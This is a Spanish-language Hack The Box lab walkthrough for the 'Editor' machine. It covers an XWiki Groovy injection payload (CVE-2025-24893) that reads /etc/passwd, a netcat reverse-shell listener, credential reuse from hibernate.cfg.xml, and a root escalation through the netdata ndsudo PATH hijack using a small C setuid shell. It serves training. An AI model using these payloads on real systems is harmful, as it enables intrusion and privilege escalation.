# Editor

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FY6Tf81UALLVHL3kgJJZx%2Fimage.png?alt=media&#x26;token=ff6f5f5e-2cd7-4440-b9a9-09b5ae121c3d" alt=""><figcaption></figcaption></figure>

***

## Enumeration

Vamos a realizar un escaneo `nmap`:

```bash
┌──(pylon㉿kali)-[10.10.14.209]-[~/…/pylon/HTB/Editor/nmap]
└─$ nmap -p- --open -sS -n -Pn -vvv --min-rate=5000 10.10.11.80          
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-17 22:12 CEST
Initiating SYN Stealth Scan at 22:12
Scanning 10.10.11.80 [65535 ports]
Discovered open port 22/tcp on 10.10.11.80
Discovered open port 80/tcp on 10.10.11.80
Discovered open port 8080/tcp on 10.10.11.80
Completed SYN Stealth Scan at 22:12, 11.70s elapsed (65535 total ports)
Nmap scan report for 10.10.11.80
Host is up, received user-set (0.044s latency).
Scanned at 2025-09-17 22:12:11 CEST for 12s
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack ttl 63
80/tcp   open  http       syn-ack ttl 63
8080/tcp open  http-proxy syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.77 seconds
           Raw packets sent: 65535 (2.884MB) | Rcvd: 65535 (2.621MB)
```

Vamos a realizar un segundo escaneo para averiguar que servicios y versiones corren en cada:

```bash
┌──(pylon㉿kali)-[10.10.14.209]-[~/…/pylon/HTB/Editor/nmap]
└─$ nmap -p22,80,8080 -sCV 10.10.11.80              
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-17 22:12 CEST
Nmap scan report for editor.htb (10.10.11.80)
Host is up (0.044s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Editor - SimplistCode Pro
8080/tcp open  http    Jetty 10.0.20
| http-title: XWiki - Main - Intro
|_Requested resource was http://editor.htb:8080/xwiki/bin/view/Main/
| http-cookie-flags: 
|   /: 
|     JSESSIONID: 
|_      httponly flag not set
| http-methods: 
|_  Potentially risky methods: PROPFIND LOCK UNLOCK
| http-webdav-scan: 
|   Server Type: Jetty(10.0.20)
|   WebDAV type: Unknown
|_  Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Jetty(10.0.20)
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/ 
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/ 
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/ 
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/ 
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/ 
|_/xwiki/bin/undelete/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.38 seconds
```

Vamos a acceder a la aplicación web principal:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FMrj59HR4ay2utU6jmkP5%2Fimage.png?alt=media&#x26;token=587cce01-26c6-43b2-bc15-7e38afb2b738" alt=""><figcaption></figcaption></figure>

Viendo la web en el footer encontré lo siguiente:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FCqj3zqYdfxElU2RP1fyU%2Fimage.png?alt=media&#x26;token=96a3041f-e286-4e88-8561-124c9cff78f1" alt=""><figcaption></figcaption></figure>

Vemos un subdominio llamado `wiki` . Vamos a realizar un escaneo de vhost con gobuster para confirmarlo y saber que existan más:

```bash
┌──(pylon㉿kali)-[10.10.14.209]-[~/…/pylon/HTB/Editor/nmap]
└─$ gobuster vhost -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://editor.htb/ --append-domain
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://editor.htb/
[+] Method:                    GET
[+] Threads:                   10
[+] Wordlist:                  /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:                gobuster/3.8
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
wiki.editor.htb Status: 302 [Size: 0] [--> http://wiki.editor.htb/xwiki]
Progress: 4989 / 4989 (100.00%)
===============================================================
Finished
===============================================================
```

Vamos a añadirlo a nuestro `/etc/hosts`. Ahora accedamos a él:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2F1njAPj8ZDXN2kv8LAml3%2Fimage.png?alt=media&#x26;token=1cb0fcf8-b42f-49c3-9a13-9a66aafe7d40" alt=""><figcaption></figcaption></figure>

Vemos que está empleando `Xwiki`.

> `XWiki` es un motor wiki basado en Java.

Si vemos el footer encontramos lo siguiente:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2F2iZGIpJOuHJcVmy2ME8j%2Fimage.png?alt=media&#x26;token=bb85f519-796f-4601-aff5-9cd4824095d3" alt=""><figcaption></figcaption></figure>

Si buscamos esa versión en Google podremos encontrar lo siguiente:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2F9GRwcZgJPrwAfTFqaUyB%2Fimage.png?alt=media&#x26;token=32048683-75fd-4cf6-bbe9-7d791b730a2b" alt=""><figcaption></figcaption></figure>

En este caso vi la de OffSec:

{% embed url="<https://www.offsec.com/blog/cve-2025-24893/>" %}

## Shell as xwiki

Si leemos este PoC podremos ver que estamos ante un RCE, con el siguiente payload:

```bash
/xwiki/bin/view/Main/SolrSearchMacros?search=groovy:java.lang.Runtime.getRuntime().exec('touch /tmp/pwned')"
```

El payload que al final me funcionó fue:

```bash
/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d
```

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2F4kJowvvxC5v7phpAkUqH%2Fimage.png?alt=media&#x26;token=187fbcc1-68ba-4270-9b12-432cf84c46ba" alt=""><figcaption></figcaption></figure>

Vamos a enviarnos una reverse shell:

```bash
┌──(pylon㉿kali)-[10.10.14.209]-[~/Desktop/pylon/HTB/Editor]
└─$ nc -nlvp 9001
listening on [any] 9001 ...
```

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FP9FXnNsQJx4kuroq9wOm%2Fimage.png?alt=media&#x26;token=6af8dadf-2d5f-4616-80d4-043b1fd6f6d0" alt=""><figcaption></figcaption></figure>

```bash
┌──(pylon㉿kali)-[10.10.14.209]-[~/Desktop/pylon/HTB/Editor]
└─$ nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.209] from (UNKNOWN) [10.10.11.80] 58230
```

Si hacemos un `whoami` veremos que somos el usuario `xwiki` :

```bash
whoami
xwiki
```

Si nos fijamos haciendo un `pwd` veremos que estamos en el siguiente directorio:

```bash
xwiki@editor:/usr/lib/xwiki-jetty$ pwd
/usr/lib/xwiki-jetty
```

## Shell as oliver

Investigando por la documentación y foros leí que los datos de la conexión de la base de datos se guardan en un archivo llamado `hibernate.cfg.xml`, vamos a buscarlo con `find`:

```bash
xwiki@editor:/usr/lib/xwiki-jetty$ find / -name hibernate.cfg.xml 2>/dev/null 
/etc/xwiki/hibernate.cfg.xml
/usr/lib/xwiki/WEB-INF/hibernate.cfg.xml
/usr/share/xwiki/templates/mysql/hibernate.cfg.xml
xwiki@editor:/usr/lib/xwiki-jetty$ 
```

Vemos que tenemos varios, vamos a leer el primero filtrando por las 2 siguientes palabras:

* `username`
* `password`

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2Fil3VMjb3xAlOFHWcTzhQ%2Fimage.png?alt=media&#x26;token=88fb4c7e-17b2-46a3-96a4-4823e44ad151" alt=""><figcaption></figcaption></figure>

Tenemos el usuario de la base de datos que es `xwiki` , vamos a buscar su contraseña:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FUO1adJzN8crXlXeodEtx%2Fimage.png?alt=media&#x26;token=fcb4ca4e-b40a-40cd-b3cc-d01d9df4f0ed" alt=""><figcaption></figcaption></figure>

Bien!! Tenemos credenciales. Vamos a probarlas en `MySQL` :

```bash
xwiki@editor:/usr/lib/xwiki-jetty$ mysql -u xwiki -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 14
Server version: 8.0.42-0ubuntu0.22.04.2 (Ubuntu)

Copyright (c) 2000, 2025, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> 
```

Tenemos acceso a la base de datos. Investigando un rato sobre ella solo encontré un hash del usuario `neal` , pero si hacemos un `cat /etc/passwd` veremos que solo existe el usuario `oliver`:

```bash
xwiki@editor:/usr/lib/xwiki-jetty$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
oliver:x:1000:1000:,,,:/home/oliver:/bin/bash
```

<details>

<summary>neal_hash</summary>

{% code overflow="wrap" %}

```
hash:SHA-512:dac65976a9f09bcd15bd2c5c6eae4c43b06f316be7ae6b191db26580b1211bef:6b8f547e3742e998380da4f9d426773430a7982a946b9bfd94da0d7abe0d472c5ff08fcb8b0a908bc293da82298053ba3
48872099bd88f059a7838c38b670153
```

{% endcode %}

</details>

Vamos a probar las mismas credenciales encontradas por `SSH` en el usuario `oliver` a ver si hay reutilización de credenciales, una practica muy común:

```bash
┌──(pylon㉿kali)-[10.10.14.209]-[~/…/pylon/HTB/Editor/content]
└─$ ssh oliver@10.10.11.80
oliver@10.10.11.80's password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-151-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Thu Sep 18 08:48:15 AM UTC 2025

  System load:  0.03              Processes:             229
  Usage of /:   64.9% of 7.28GB   Users logged in:       0
  Memory usage: 52%               IPv4 address for eth0: 10.10.11.80
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

4 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

4 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Sep 18 08:48:16 2025 from 10.10.14.209
oliver@editor:~$ 
```

## Shell as root

Si buscamos por archivos con el permiso `SUID` encontraremos unos no vistos normalmente:

```bash
oliver@editor:~$ find / -perm -4000 2>/dev/null -ls
    49126    944 -rwsr-x---   1 root     netdata    965056 Apr  1  2024 /opt/netdata/usr/libexec/netdata/plugins.d/cgroup-network
    49412   1348 -rwsr-x---   1 root     netdata   1377624 Apr  1  2024 /opt/netdata/usr/libexec/netdata/plugins.d/network-viewer.plugin
    49409   1120 -rwsr-x---   1 root     netdata   1144224 Apr  1  2024 /opt/netdata/usr/libexec/netdata/plugins.d/local-listeners
    49411    196 -rwsr-x---   1 root     netdata    200576 Apr  1  2024 /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
    49407     80 -rwsr-x---   1 root     netdata     81472 Apr  1  2024 /opt/netdata/usr/libexec/netdata/plugins.d/ioping
    49413    876 -rwsr-x---   1 root     netdata    896448 Apr  1  2024 /opt/netdata/usr/libexec/netdata/plugins.d/nfacct.plugin
    49402   4164 -rwsr-x---   1 root     netdata   4261672 Apr  1  2024 /opt/netdata/usr/libexec/netdata/plugins.d/ebpf.plugin
      819     40 -rwsr-xr-x   1 root     root        40496 Feb  6  2024 /usr/bin/newgrp
      298     72 -rwsr-xr-x   1 root     root        72072 Feb  6  2024 /usr/bin/gpasswd
    12457     56 -rwsr-xr-x   1 root     root        55680 Apr  9  2024 /usr/bin/su
     9922     36 -rwsr-xr-x   1 root     root        35200 Apr  9  2024 /usr/bin/umount
      296     44 -rwsr-xr-x   1 root     root        44808 Feb  6  2024 /usr/bin/chsh
      681     36 -rwsr-xr-x   1 root     root        35200 Mar 23  2022 /usr/bin/fusermount3
      676    228 -rwsr-xr-x   1 root     root       232416 Jun 25 12:48 /usr/bin/sudo
      299     60 -rwsr-xr-x   1 root     root        59976 Feb  6  2024 /usr/bin/passwd
      745     48 -rwsr-xr-x   1 root     root        47488 Apr  9  2024 /usr/bin/mount
      295     72 -rwsr-xr-x   1 root     root        72712 Feb  6  2024 /usr/bin/chfn
     1409     36 -rwsr-xr--   1 root     messagebus    35112 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    14070    332 -rwsr-xr-x   1 root     root         338536 Apr 11 12:05 /usr/lib/openssh/ssh-keysign
    13665     20 -rwsr-xr-x   1 root     root          18736 Feb 26  2022 /usr/libexec/polkit-agent-helper-1
```

Investigando sobre el binario `/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo` encontré lo siguiente:

{% embed url="<https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2024-32019>" %}

Se ve que se puede escalar privilegios con el. Para ello necesitaremos compilar un archivo llamado `nvme` , vamos a crear en `C` un código que simplemente ejecute una `/bin/bash` :

```c
 #include <unistd.h>
 
 int main() {
     setuid(0); setgid(0);
     execl("/bin/bash", "bash", NULL);
     return 0;
 }
```

Ahora vamos a compilarlo con el nombre nvme :

```bash
┌──(pylon㉿kali)-[10.10.14.209]-[~/…/pylon/HTB/Editor/exploits]
└─$ gcc privesc.c -o nvme
```

Ahora lo subiremos a la máquina en un directorio donde tengamos permisos, en mi caso en el `/tmp` :

```bash
┌──(pylon㉿kali)-[10.10.14.209]-[~/…/pylon/HTB/Editor/exploits]
└─$ python -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
```

```bash
oliver@editor:/tmp$ wget 10.10.14.209:9090/nvme
--2025-09-18 08:52:12--  http://10.10.14.209:9090/nvme
Connecting to 10.10.14.209:9090... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16056 (16K) [application/octet-stream]
Saving to: ‘nvme’

nvme                                          100%[=================================================================================================>]  15.68K  --.-KB/s    in 0.04s   

2025-09-18 08:52:12 (356 KB/s) - ‘nvme’ saved [16056/16056]
```

Le daremos permisos de ejecución:

```bash
oliver@editor:/tmp$ chmod +x nvme 
```

Ahora modificaremos la variable de entorno `PATH` para indicar que busque el binario primero desde `tmp`:

```bash
oliver@editor:/tmp$ PATH=/tmp:$PATH
oliver@editor:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
```

Ahora vamos a ejecutar el binario `ndsudo` con el comando `nvme-list` que si vemos en `-h` ejecuta el ejecutable `nvme` :

```bash
oliver@editor:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo -h

ndsudo

(C) Netdata Inc.

A helper to allow Netdata run privileged commands.

  --test
    print the generated command that will be run, without running it.

  --help
    print this message.

The following commands are supported:

- Command    : nvme-list
  Executables: nvme 
  Parameters : list --output-format=json
```

Entonces indicaremos `nvme-list`:

```bash
oliver@editor:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
root@editor:/tmp# whoami
root
```

***
